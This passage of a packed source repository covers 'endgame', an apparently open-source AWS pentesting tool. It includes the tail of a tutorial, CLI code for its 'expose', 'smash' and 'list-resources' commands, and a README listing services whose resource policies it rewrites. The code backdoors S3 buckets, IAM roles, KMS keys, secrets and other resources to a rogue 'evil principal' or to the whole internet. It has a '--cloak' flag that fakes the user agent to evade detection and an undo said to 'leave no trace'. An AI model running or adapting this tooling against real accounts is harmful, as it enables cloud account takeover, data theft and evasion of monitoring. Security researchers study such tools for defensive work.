changes.\n\n```bash\nendgame expose --service iam --name test-resource-exposure --undo\n```\n\n![expose undo](images/add-myself-undo.png)\n\n\n## Step 6: Smash your AWS Account to Pieces\n\n* To expose every exposable resource in your AWS account, run the following command.\n\n> Warning: If you supply the argument `--evil-principal *` or the environment variable `EVIL_PRINCIPAL=*`, it will expose the account to the internet. If you do this, it is possible that an attacker could assume your privileged IAM roles, take over the other [supported resources](https://endgame.readthedocs.io/en/latest/#supported-backdoors) present in that account, or incur a massive bill. As such, you might want to set `--evil-principal` to your own AWS user/role in another account.\n\n```bash\nendgame smash --service all --dry-run\nendgame smash --service all\nendgame smash --service all --undo\n```\n\n## Step 7: Destroy Demo Infrastructure\n\n* Now that you are done with the tutorial, don't forget to clean up the demo infrastructure.\n\n```bash\n# Destroy the demo infrastructure\nmake terraform-destroy\n```"
  },
  {
    "path": "endgame/__init__.py",
    "content": "# pylint: disable=missing-module-docstring\nimport logging\nfrom logging import NullHandler\n\n# Set default handler when endgame is used as library to avoid \"No handler found\" warnings.\nlogging.getLogger(__name__).addHandler(NullHandler())\n\n\ndef set_stream_logger(name=\"endgame\", level=logging.DEBUG, format_string=None):\n    \"\"\"\n    Add a stream handler for the given name and level to the logging module.\n    By default, this logs all endgame messages to ``stdout``.\n        >>> import endgame\n        >>> endgame.set_stream_logger('endgame.database.build', logging.INFO)\n    :type name: string\n    :param name: Log name\n    :type level: int\n    :param level: Logging level, e.g. ``logging.INFO``\n    :type format_string: str\n    :param format_string: Log message format\n    \"\"\"\n    # remove existing handlers. since NullHandler is added by default\n    handlers = logging.getLogger(name).handlers\n    for handler in handlers:\n        logging.getLogger(name).removeHandler(handler)\n    if format_string is None:\n        format_string = \"%(asctime)s %(name)s [%(levelname)s] %(message)s\"\n    logger = logging.getLogger(name)\n    logger.setLevel(level)\n    handler = logging.StreamHandler()\n    handler.setLevel(level)\n    formatter = logging.Formatter(format_string)\n    handler.setFormatter(formatter)\n    logger.addHandler(handler)\n\n\ndef set_log_level(verbose):\n    \"\"\"\n    Set Log Level based on click's count argument.\n\n    Default log level to critical; otherwise, set to: warning for -v, info for -vv, debug for -vvv\n\n    :param verbose: integer for verbosity count.\n    :return:\n    \"\"\"\n    if verbose == 1:\n        set_stream_logger(level=getattr(logging, \"WARNING\"))\n    elif verbose == 2:\n        set_stream_logger(level=getattr(logging, \"INFO\"))\n    elif verbose >= 3:\n        set_stream_logger(level=getattr(logging, \"DEBUG\"))\n    else:\n        set_stream_logger(level=getattr(logging, \"CRITICAL\"))\n"
  },
  {
    "path": "endgame/bin/__init__.py",
    "content": ""
  },
  {
    "path": "endgame/bin/cli.py",
    "content": "#! /usr/bin/env python\nimport click\nfrom endgame import command\nfrom endgame.bin.version import __version__\n\n\n@click.group()\n@click.version_option(version=__version__)\ndef endgame():\n    \"\"\"\n    An AWS Pentesting tool that lets you use one-liner commands to backdoor an AWS account's resources with a rogue AWS account - or share the resources with the entire internet 😈\n    \"\"\"\n\n\nendgame.add_command(command.list_resources.list_resources)\nendgame.add_command(command.expose.expose)\nendgame.add_command(command.smash.smash)\n\n\ndef main():\n    \"\"\"\n    An AWS Pentesting tool that lets you use one-liner commands to backdoor an AWS account's resources with a rogue AWS account - or share the resources with the entire internet 😈\n    \"\"\"\n    endgame()\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "endgame/bin/version.py",
    "content": "__version__ = \"0.2.0\"\n"
  },
  {
    "path": "endgame/command/__init__.py",
    "content": "from endgame.command import list_resources\nfrom endgame.command import expose\nfrom endgame.command import smash\n"
  },
  {
    "path": "endgame/command/expose.py",
    "content": "\"\"\"\nExpose AWS resources\n\"\"\"\nimport json\nimport logging\nimport click\nimport boto3\nfrom policy_sentry.util.arns import (\n    parse_arn_for_resource_type,\n    get_resource_path_from_arn,\n)\nfrom endgame import set_log_level\nfrom endgame.exposure_via_resource_policies import glacier_vault, sqs, lambda_layer, lambda_function, kms, cloudwatch_logs, efs, s3, \\\n    sns, iam, ecr, secrets_manager, ses, elasticsearch, acm_pca\nfrom endgame.exposure_via_sharing_apis import rds_snapshots, ebs_snapshots, ec2_amis\nfrom endgame.shared.aws_login import get_boto3_client, get_current_account_id\nfrom endgame.shared import constants, utils\nfrom endgame.shared.validate import (\n    click_validate_supported_aws_service,\n    click_validate_user_or_principal_arn,\n)\nfrom endgame.shared.response_message import ResponseMessage\nlogger = logging.getLogger(__name__)\nEND = \"\\033[0m\"\nGREY = \"\\33[90m\"\nCBLINK = '\\33[5m'\nCBLINK2 = '\\33[6m'\n\n\n@click.command(name=\"expose\", short_help=\"Surgically expose resources by modifying resource policies to include backdoors to a rogue attacker-controlled IAM principal or to the internet.\")\n@click.option(\n    \"--name\",\n    \"-n\",\n    type=str,\n    required=True,\n    help=\"Specify the name of your resource\",\n)\n@click.option(\n    \"--evil-principal\",\n    \"-e\",\n    type=str,\n    required=True,\n    help=\"Specify the name of your resource\",\n    callback=click_validate_user_or_principal_arn,\n    envvar=\"EVIL_PRINCIPAL\"\n)\n@click.option(\n    \"--profile\",\n    \"-p\",\n    type=str,\n    required=False,\n    help=\"Specify the AWS IAM profile.\",\n    envvar=\"AWS_PROFILE\"\n)\n@click.option(\n    \"--service\",\n    \"-s\",\n    type=click.Choice(constants.SUPPORTED_AWS_SERVICES),\n    required=False,\n    help=\"The AWS service in question\",\n    callback=click_validate_supported_aws_service,\n)\n@click.option(\n    \"--region\",\n    \"-r\",\n    type=str,\n    required=False,\n    default=\"us-east-1\",\n    help=\"The AWS region\",\n    envvar=\"AWS_REGION\"\n)\n@click.option(\n    \"--dry-run\",\n    \"-d\",\n    is_flag=True,\n    default=False,\n    help=\"Dry run, no modifications\",\n)\n@click.option(\n    \"--undo\",\n    \"-u\",\n    is_flag=True,\n    default=False,\n    help=\"Undo the previous modifications and leave no trace\",\n)\n@click.option(\n    \"--cloak\",\n    \"-c\",\n    is_flag=True,\n    default=False,\n    help=\"Evade detection by using the default AWS SDK user agent instead of one that indicates usage of this tool.\",\n)\n@click.option(\n    \"-v\",\n    \"--verbose\",\n    \"verbosity\",\n    count=True,\n)\ndef expose(name, evil_principal, profile, service, region, dry_run, undo, cloak, verbosity):\n    \"\"\"\n    Surgically expose resources by modifying resource policies to include backdoors to a rogue attacker-controlled IAM principal or to the internet.\n\n    :param name: The name of the AWS resource.\n    :param evil_principal: The ARN of the evil principal to give access to the resource.\n    :param profile: The AWS profile, if using the shared credentials file.\n    :param service: The AWS Service in question.\n    :param region: The AWS region. Defaults to us-east-1\n    :param dry_run: Dry run, no modifications\n    :param undo: Undo the previous modifications and leave no trace\n    :param cloak: Evade detection by using the default AWS SDK user agent instead of one that indicates usage of this tool.\n    :param verbosity: Set log verbosity.\n    :return:\n    \"\"\"\n    set_log_level(verbosity)\n\n    # User-supplied arguments like `cloudwatch` need to be translated to the IAM name like `logs`\n    provided_service = service\n    service = utils.get_service_translation(provided_service=service)\n\n    # Get Boto3 clients\n    client = get_boto3_client(profile=profile, service=service, region=region, cloak=cloak)\n    sts_client = get_boto3_client(profile=profile, service=\"sts\", region=region, cloak=cloak)\n\n    # Get the current account ID\n    current_account_id = get_current_account_id(sts_client=sts_client)\n    if evil_principal.strip('\"').strip(\"'\") == \"*\":\n        principal_type = \"internet-wide access\"\n        principal_name = \"*\"\n    else:\n        principal_type = parse_arn_for_resource_type(evil_principal)\n        principal_name = get_resource_path_from_arn(evil_principal)\n\n    response_message = expose_service(provided_service=provided_service, region=region, name=name, current_account_id=current_account_id, client=client, dry_run=dry_run, evil_principal=evil_principal, undo=undo)\n\n    if undo and not dry_run:\n        utils.print_remove(response_message.service, response_message.resource_type, response_message.resource_name,\n                           principal_type, principal_name, success=response_message.success)\n    elif undo and dry_run:\n        utils.print_remove(response_message.service, response_message.resource_type, response_message.resource_name,\n                           principal_type, principal_name, success=response_message.success)\n    elif not undo and dry_run:\n        utils.print_add(response_message.service, response_message.resource_type, response_message.resource_name,\n                        principal_type, principal_name, success=response_message.success)\n    else:\n        utils.print_add(response_message.service, response_message.resource_type, response_message.resource_name,\n                        principal_type, principal_name, success=response_message.success)\n    if verbosity >= 1:\n        print_diff_messages(response_message=response_message, verbosity=verbosity)\n\n\ndef expose_service(\n        provided_service: str,\n        region: str,\n        name: str,\n        current_account_id: str,\n        client: boto3.Session.client,\n        undo: bool,\n        dry_run: bool,\n        evil_principal: str\n) -> ResponseMessage:\n    \"\"\"Expose a resource from an AWS Service. You can call this function directly.\"\"\"\n    service = provided_service\n    resource = None\n    # fmt: off\n    if service == \"acm-pca\":\n        resource = acm_pca.AcmPrivateCertificateAuthority(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"ecr\":\n        resource = ecr.EcrRepository(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"efs\" or service == \"elasticfilesystem\":\n        resource = efs.ElasticFileSystem(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"elasticsearch\" or service == \"es\":\n        resource = elasticsearch.ElasticSearchDomain(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"glacier\":\n        resource = glacier_vault.GlacierVault(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"iam\":\n        resource = iam.IAMRole(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"kms\":\n        resource = kms.KmsKey(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"lambda\":\n        resource = lambda_function.LambdaFunction(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"lambda-layer\":\n        resource = lambda_layer.LambdaLayer(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"logs\" or service == \"cloudwatch\":\n        resource = cloudwatch_logs.CloudwatchResourcePolicy(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"s3\":\n        resource = s3.S3Bucket(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"secretsmanager\":\n        resource = secrets_manager.SecretsManagerSecret(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"ses\":\n        resource = ses.SesIdentityPolicy(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"sns\":\n        resource = sns.SnsTopic(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"sqs\":\n        resource = sqs.SqsQueue(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"rds\":\n        resource = rds_snapshots.RdsSnapshot(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"ebs\":\n        resource = ebs_snapshots.EbsSnapshot(name=name, client=client, current_account_id=current_account_id, region=region)\n    elif service == \"ec2-ami\":\n        resource = ec2_amis.Ec2Image(name=name, client=client, current_account_id=current_account_id, region=region)\n    # fmt: on\n\n    if undo and not dry_run:\n        response_message = resource.undo(evil_principal=evil_principal)\n    elif dry_run and not undo:\n        response_message = resource.add_myself(evil_principal=evil_principal, dry_run=dry_run)\n    elif dry_run and undo:\n        response_message = resource.undo(evil_principal=evil_principal, dry_run=dry_run)\n    else:\n        response_message = resource.add_myself(evil_principal=evil_principal, dry_run=False)\n\n    return response_message\n\n\ndef print_diff_messages(response_message: ResponseMessage, verbosity: int):\n    if verbosity >= 2:\n        utils.print_grey(f\"Old statement IDs: {response_message.original_policy_sids}\")\n        utils.print_grey(f\"Updated statement IDs: {response_message.updated_policy_sids}\")\n\n    # TODO: This output format works for exposure_via_resource_policies, not necessarily for exposure_via_sharing_apis.\n    if response_message.added_sids:\n        logger.debug(\"Statements are being added\")\n        diff = response_message.added_sids\n        utils.print_yellow(f\"\\t+ Resource: {response_message.victim_resource_arn}\")\n        utils.print_green(f\"\\t++ (New statements): {', '.join(diff)}\")\n        utils.print_green(f\"\\t++ (Evil Principal): {response_message.evil_principal}\")\n    elif len(response_message.updated_policy_sids) == len(response_message.original_policy_sids):\n        utils.print_yellow(f\"\\t* Resource: {response_message.victim_resource_arn}\")\n        utils.print_yellow(f\"\\t** (No new statements)\")\n    else:\n        logger.debug(\"Statements are being removed\")\n        diff = response_message.removed_sids\n        utils.print_yellow(f\"\\t- Resource: {response_message.victim_resource_arn}\")\n        utils.print_red(f\"\\t-- Statements being removed: {', '.join(diff)}\")\n\n    if verbosity >= 3:\n        utils.print_grey(\"Original policy:\")\n        utils.print_grey(json.dumps(response_message.original_policy))\n        utils.print_grey(\"New policy:\")\n        utils.print_grey(json.dumps(response_message.updated_policy))\n"
  },
  {
    "path": "endgame/command/list_resources.py",
    "content": "\"\"\"\nList exposable resources\n\"\"\"\nimport logging\nimport click\nfrom endgame import set_log_level\nfrom endgame.shared.aws_login import get_boto3_client, get_current_account_id\nfrom endgame.shared.validate import click_validate_supported_aws_service, click_validate_comma_separated_resource_names, \\\n    click_validate_comma_separated_excluded_services\nfrom endgame.shared.resource_results import ResourceResults\nfrom endgame.shared import constants\n\nlogger = logging.getLogger(__name__)\n\n\n@click.command(name=\"list-resources\", short_help=\"List all resources that can be exposed via Endgame.\")\n@click.option(\n    \"--service\",\n    \"-s\",\n    type=str,\n    required=True,\n    help=f\"The AWS service in question. Valid arguments: {', '.join(constants.SUPPORTED_AWS_SERVICES)}\",\n    callback=click_validate_supported_aws_service,\n)\n@click.option(\n    \"--profile\",\n    \"-p\",\n    type=str,\n    required=False,\n    help=\"Specify the AWS IAM profile.\",\n    envvar=\"AWS_PROFILE\"\n)\n@click.option(\n    \"--region\",\n    \"-r\",\n    type=str,\n    required=False,\n    default=\"us-east-1\",\n    help=\"The AWS region. Set to 'all' to iterate through all regions.\",\n    envvar=\"AWS_REGION\"\n)\n@click.option(\n    \"--cloak\",\n    \"-c\",\n    is_flag=True,\n    default=False,\n    help=\"Evade detection by using the default AWS SDK user agent instead of one that indicates usage of this tool.\",\n)\n@click.option(\n    \"--exclude\",\n    \"-e\",\n    \"excluded_names\",\n    type=str,\n    default=\"\",\n    help=\"A comma-separated list of resource names to exclude from results\",\n    envvar=\"EXCLUDED_NAMES\",\n    callback=click_validate_comma_separated_resource_names\n)\n@click.option(\n    \"--excluded-services\",\n    type=str,\n    default=\"\",\n    help=\"A comma-separated list of services to exclude from results\",\n    envvar=\"EXCLUDED_SERVICES\",\n    callback=click_validate_comma_separated_resource_names\n)\n@click.option(\n    \"-v\",\n    \"--verbose\",\n    \"verbosity\",\n    count=True,\n)\ndef list_resources(service, profile, region, cloak, excluded_names, excluded_services, verbosity):\n    \"\"\"\n    List AWS resources to expose.\n    \"\"\"\n\n    set_log_level(verbosity)\n\n    # User-supplied arguments like `cloudwatch` need to be translated to the IAM name like `logs`\n    user_provided_service = service\n    # Get the boto3 clients\n    sts_client = get_boto3_client(profile=profile, service=\"sts\", region=\"us-east-1\", cloak=cloak)\n    current_account_id = get_current_account_id(sts_client=sts_client)\n    if user_provided_service == \"all\" and region == \"all\":\n        logger.critical(\"'--service all' and '--region all' detected; listing all resources across all services in the \"\n                        \"account. This might take a while - about 5 minutes.\")\n    elif region == \"all\":\n        logger.debug(\"'--region all' selected; listing resources across the entire account, so this might take a while\")\n    else:\n        pass\n    if user_provided_service == \"all\":\n        logger.debug(\"'--service all' selected; listing resources in ARN format to differentiate between services\")\n\n    resource_results = ResourceResults(\n        user_provided_service=user_provided_service,\n        user_provided_region=region,\n        current_account_id=current_account_id,\n        profile=profile,\n        cloak=cloak,\n        excluded_names=excluded_names,\n        excluded_services=excluded_services\n    )\n    results = resource_results.resources\n\n    # Print the results\n    if len(results) == 0:\n        logger.warning(\"There are no resources given the criteria provided.\")\n    else:\n        # If you provide --service all, then we will list the ARNs to differentiate services\n        if user_provided_service == \"all\":\n            logger.debug(\"'--service all' selected; listing resources in ARN format to differentiate between services\")\n            for resource in results:\n                if resource.name not in excluded_names:\n                    print(resource.arn)\n                else:\n                    logger.debug(f\"Excluded: {resource.name}\")\n        else:\n            logger.debug(\"Listing resources by name\")\n            for resource in results:\n                if resource.name not in excluded_names:\n                    print(resource.name)\n                else:\n                    logger.debug(f\"Excluded: {resource.name}\")\n"
  },
  {
    "path": "endgame/command/smash.py",
    "content": "\"\"\"\nSmash your AWS Account to pieces by exposing massive amounts of resources to a rogue principal or to the internet\n\"\"\"\nimport logging\nimport click\nimport boto3\nfrom policy_sentry.util.arns import (\n    parse_arn_for_resource_type,\n    get_resource_path_from_arn,\n)\nfrom endgame import set_log_level\nfrom endgame.shared.aws_login import get_boto3_client, get_current_account_id\nfrom endgame.shared.validate import click_validate_supported_aws_service, click_validate_user_or_principal_arn, click_validate_comma_separated_resource_names\nfrom endgame.shared import utils, constants, scary_warnings\nfrom endgame.shared.resource_results import ResourceResults\nfrom endgame.command.expose import expose_service\nfrom endgame.shared.response_message import ResponseMessage\n\nlogger = logging.getLogger(__name__)\nEND = \"\\033[0m\"\n\n\n@click.command(name=\"smash\", short_help=\"Smash your AWS Account to pieces by exposing massive amounts of resources to a\"\n                                        \" rogue principal or to the internet\")\n@click.option(\n    \"--service\",\n    \"-s\",\n    type=str,\n    required=True,\n    help=f\"The AWS service in question. Valid arguments: {', '.join(constants.SUPPORTED_AWS_SERVICES)}\",\n    callback=click_validate_supported_aws_service,\n)\n@click.option(\n    \"--evil-principal\",\n    \"-e\",\n    type=str,\n    required=True,\n    help=\"Specify the name of your resource\",\n    callback=click_validate_user_or_principal_arn,\n    envvar=\"EVIL_PRINCIPAL\"\n)\n@click.option(\n    \"--profile\",\n    \"-p\",\n    type=str,\n    required=False,\n    help=\"Specify the AWS IAM profile.\",\n    envvar=\"AWS_PROFILE\"\n)\n@click.option(\n    \"--region\",\n    \"-r\",\n    type=str,\n    required=False,\n    default=\"us-east-1\",\n    help=\"The AWS region. Set to 'all' to iterate through all regions.\",\n    envvar=\"AWS_REGION\"\n)\n@click.option(\n    \"--dry-run\",\n    \"-d\",\n    is_flag=True,\n    default=False,\n    help=\"Dry run, no modifications\",\n)\n@click.option(\n    \"--undo\",\n    \"-u\",\n    is_flag=True,\n    default=False,\n    help=\"Undo the previous modifications and leave no trace\",\n)\n@click.option(\n    \"--cloak\",\n    \"-c\",\n    is_flag=True,\n    default=False,\n    help=\"Evade detection by using the default AWS SDK user agent instead of one that indicates usage of this tool.\",\n)\n@click.option(\n    \"--exclude\",\n    \"-e\",\n    \"excluded_names\",\n    type=str,\n    default=\"\",\n    help=\"A comma-separated list of resource names to exclude from results\",\n    envvar=\"EXCLUDED_NAMES\",\n    callback=click_validate_comma_separated_resource_names\n)\n@click.option(\n    \"--excluded-services\",\n    type=str,\n    default=\"\",\n    help=\"A comma-separated list of services to exclude from results\",\n    envvar=\"EXCLUDED_SERVICES\",\n    callback=click_validate_comma_separated_resource_names\n)\n@click.option(\n    \"-v\",\n    \"--verbose\",\n    \"verbosity\",\n    count=True,\n)\ndef smash(service, evil_principal, profile, region, dry_run, undo, cloak, excluded_names, excluded_services, verbosity):\n    \"\"\"\n    Smash your AWS Account to pieces by exposing massive amounts of resources to a rogue principal or to the internet\n    \"\"\"\n    set_log_level(verbosity)\n    # Get the current account ID\n    sts_client = get_boto3_client(profile=profile, service=\"sts\", region=\"us-east-1\", cloak=cloak)\n    current_account_id = get_current_account_id(sts_client=sts_client)\n    if evil_principal.strip('\"').strip(\"'\") == \"*\":\n        if not scary_warnings.confirm_anonymous_principal():\n            utils.print_red(\"User cancelled, exiting\")\n            exit()\n        else:\n            print()\n            \n        principal_type = \"internet-wide access\"\n        principal_name = \"*\"\n    else:\n        principal_type = parse_arn_for_resource_type(evil_principal)\n        principal_name = get_resource_path_from_arn(evil_principal)\n    results = []\n    user_provided_service = service\n    if user_provided_service == \"all\" and region == \"all\":\n        utils.print_red(\"--service all and --region all detected; listing all resources across all services in the \"\n                        \"account. This might take a while - about 5 minutes.\")\n    elif region == \"all\":\n        logger.debug(\"'--region all' selected; listing resources across the entire account, so this might take a while\")\n    else:\n        pass\n    if user_provided_service == \"all\":\n        logger.debug(\"'--service all' selected; listing resources in ARN format to differentiate between services\")\n\n    resource_results = ResourceResults(\n        user_provided_service=user_provided_service,\n        user_provided_region=region,\n        current_account_id=current_account_id,\n        profile=profile,\n        cloak=cloak,\n        excluded_names=excluded_names,\n        excluded_services=excluded_services\n    )\n    results = resource_results.resources\n\n    if undo and not dry_run:\n        utils.print_green(\"UNDO BACKDOOR:\")\n    elif dry_run and not undo:\n        utils.print_red(\"CREATE BACKDOOR (DRY RUN):\")\n    elif dry_run and undo:\n        utils.print_green(\"UNDO BACKDOOR (DRY RUN):\")\n    else:\n        utils.print_red(\"CREATE_BACKDOOR:\")\n\n    for resource in results:\n        if resource.name not in excluded_names:\n            # feed the name, region, and translated_service based on what it is for each resource\n            name = resource.name\n            region = resource.region\n            translated_service = utils.get_service_translation(provided_service=resource.service)\n            client = get_boto3_client(profile=profile, service=translated_service, region=region, cloak=cloak)\n            response_message = smash_resource(service=resource.service, region=region, name=name,\n                                              current_account_id=current_account_id,\n                                              client=client, undo=undo, dry_run=dry_run, evil_principal=evil_principal)\n            if undo and not dry_run:\n                utils.print_remove(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success)\n            elif undo and dry_run:\n                utils.print_remove(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success)\n            elif not undo and dry_run:\n                utils.print_add(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success)\n            else:\n                utils.print_add(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success)\n        else:\n            logger.debug(f\"Excluded: {resource.arn}\")\n\n\ndef smash_resource(\n        service: str,\n        region: str,\n        name: str,\n        current_account_id: str,\n        client: boto3.Session.client,\n        undo: bool,\n        dry_run: bool,\n        evil_principal: str,\n) -> ResponseMessage:\n    response_message = expose_service(provided_service=service, region=region, name=name,\n                                      current_account_id=current_account_id,\n                                      client=client, undo=undo, dry_run=dry_run, evil_principal=evil_principal)\n    return response_message\n"
  },
  {
    "path": "endgame/exposure_via_aws_ram/README.md",
    "content": "# Exposure via AWS RAM\n\nBy default, AWS RAM allows you to share resources with **any** AWS Account.\n\nSupported resource types are listed in the AWS documentation [here](https://docs.aws.amazon.com/ram/latest/userguide/shareable.html).\n\n## Status\n\nThis exploit method is not currently implemented. Please come back later when we've implemented it.\n\nTo get notified when it is available, you can take one of the following methods:\n1. In GitHub, select \"Watch for new releases\"\n2. Follow the author [@kmcquade](https://twitter.com/kmcquade3) on Twitter. He will announce when this feature is available 😃\n\n## Remediation\n\nWhile you are able to restrict resource sharing to your organization in AWS Organizations, the only way to disable it altogether if you don't want it is to use AWS Service Control Policies.\n\n"
  },
  {
    "path": "endgame/exposure_via_aws_ram/__init__.py",
    "content": ""
  },
  {
    "path": "endgame/exposure_via_resource_policies/README.md",
    "content": "# Resources that can be made public through resource policies\n\n## Supported\n\n### CloudWatch Logs\nActions:\n- logs [put-resource-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/put-resource-policy.html)\n\n### ECR Repository\nActions:\n- ecr [set-repository-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/set-repository-policy.html)\n\n### EFS\nTODO: Need to confirm this can actually be shared with other accounts. Some of the doc wording leads me to think this might only be shareable to principals within an account.\n\nActions:\n- efs [put-file-system-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/efs/put-file-system-policy.html)\n\n### ElasticSearch\nActions:\n- es [create-elasticsearch-domain](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/es/create-elasticsearch-domain.html)\n- es [update-elasticsearch-domain-config](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/es/update-elasticsearch-domain-config.html)\n\n### Glacier\nActions:\n- glacier [set-vault-access-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glacier/set-vault-access-policy.html)\n\n### Lambda\nAllows invoking the function\n\nActions:\n- lambda [add-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/add-permission.html)\n\n### Lambda layer\nActions:\n- lambda [add-layer-version-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/add-layer-version-permission.html)\n\n### IAM Role\nActions:\n- iam [create-role](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-role.html)\n- iam [update-assume-role-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/update-assume-role-policy.html)\n\n### KMS Keys\nActions:\n- kms [create-key](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/kms/create-key.html)\n- kms [create-grant](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/kms/create-grant.html)\n- kms [put-key-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/kms/put-key-policy.html)\n\n### S3\nS3 buckets can be public via policies and ACL. ACLs can be set at bucket or object creation.\n\nActions:\n- s3api [create-bucket](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/create-bucket.html)\n- s3api [put-bucket-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/put-bucket-policy.html)\n- s3api [put-bucket-acl](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/put-bucket-acl.html)\n\n### Secrets Managers\nActions:\n- secretsmanager [put-resource-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/secretsmanager/put-resource-policy.html)\n\n\n\n### SNS\nActions:\n- sns [create-topic](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sns/create-topic.html)\n- sns [add-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sns/add-permission.html)\n\n### SQS\nActions:\n- sqs [create-queue](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sqs/create-queue.html)\n- sqs [add-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sqs/add-permission.html)\n\n\n### SES\n[Docs](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/sending-authorization-policies.html)\n\nActions:\n- ses [put-identity-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ses/put-identity-policy.html)\n\n## Not Supported\n\n### Backup\n[Docs](https://docs.aws.amazon.com/aws-backup/latest/devguide/creating-a-vault-access-policy.html)\n\nActions:\n- backup [put-backup-vault-access-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/backup/put-backup-vault-access-policy.html)\n\n### CloudWatch Logs (Destination Policies)\n\n- logs [put-destination-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/put-destination-policy.html)\n\n\n### EventBridge\nOnly allows sending data into an account\n\nActions:\n- events [put-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/events/put-permission.html)\n\n### Glue\nActions:\n- glue [put-resource-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glue/put-resource-policy.html)\n\n### MediaStore\n[Docs](https://docs.aws.amazon.com/mediastore/latest/ug/policies-examples-cross-acccount-full.html)\n\nActions:\n- mediastore [put-container-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/mediastore/put-container-policy.html)\n\n### Serverless Application Repository\n\nActions:\n- serverlessrepo [put-application-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/serverlessrepo/put-application-policy.html)\n\n\n### S3 Objects\n\nS3 objects can be public via ACL. ACLs can be set at bucket or object creation.\n\n- s3api [put-object](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/put-object.html)\n- s3api [put-object-acl](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/put-object-acl.html)\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/__init__.py",
    "content": ""
  },
  {
    "path": "endgame/exposure_via_resource_policies/acm_pca.py",
    "content": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom policy_sentry.util.arns import get_account_from_arn, get_resource_path_from_arn\nfrom endgame.shared import constants\nfrom endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.shared.response_message import ResponseMessage, ResponseGetRbp\nfrom endgame.shared.list_resources_response import ListResourcesResponse\n\nlogger = logging.getLogger(__name__)\n\n\n# ACM PCA is really anal-retentive about what policies have to look like.\n# If you don't do it exactly how they say you have to, then it returns this error:\n# botocore.errorfactory.InvalidPolicyException: An error occurred (InvalidPolicyException) when calling the PutPolicy\n#   operation: InvalidPolicy: The supplied policy does not match RAM managed permissions\n# https://docs.aws.amazon.com/acm-pca/latest/userguide/pca-rbp.html\n# So we have to do things our own way.\n\n\nclass AcmPrivateCertificateAuthority(ResourceType, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.service = \"acm-pca\"\n        self.resource_type = \"certificate-authority\"\n        self.region = region\n        self.current_account_id = current_account_id\n        self.name = name\n        self.override_account_id_instead_of_principal = True\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id,\n                         override_resource_block=self.arn,\n                         override_account_id_instead_of_principal=self.override_account_id_instead_of_principal)\n\n    @property\n    def arn(self) -> str:\n        # return self.name\n        return f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}\"\n\n    def _get_rbp(self) -> ResponseGetRbp:\n        \"\"\"Get the resource based policy for this resource and store it\"\"\"\n        policy = constants.get_empty_policy()\n        try:\n            # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/acm-pca.html#ACMPCA.Client.get_policy\n            response = self.client.get_policy(ResourceArn=self.arn)\n            policy = json.loads(response.get(\"Policy\"))\n            success = True\n        # This is dumb. \"If either the private CA resource or the policy cannot be found, this action returns a ResourceNotFoundException.\"\n        # That means we have to set it to true, even when the resource doesn't exist. smh.\n        # That will only affect the expose command and not the smash command.\n        except self.client.exceptions.ResourceNotFoundException:\n            logger.debug(f\"Resource {self.name} not found\")\n            success = True\n        except botocore.exceptions.ClientError:\n            # When there is no 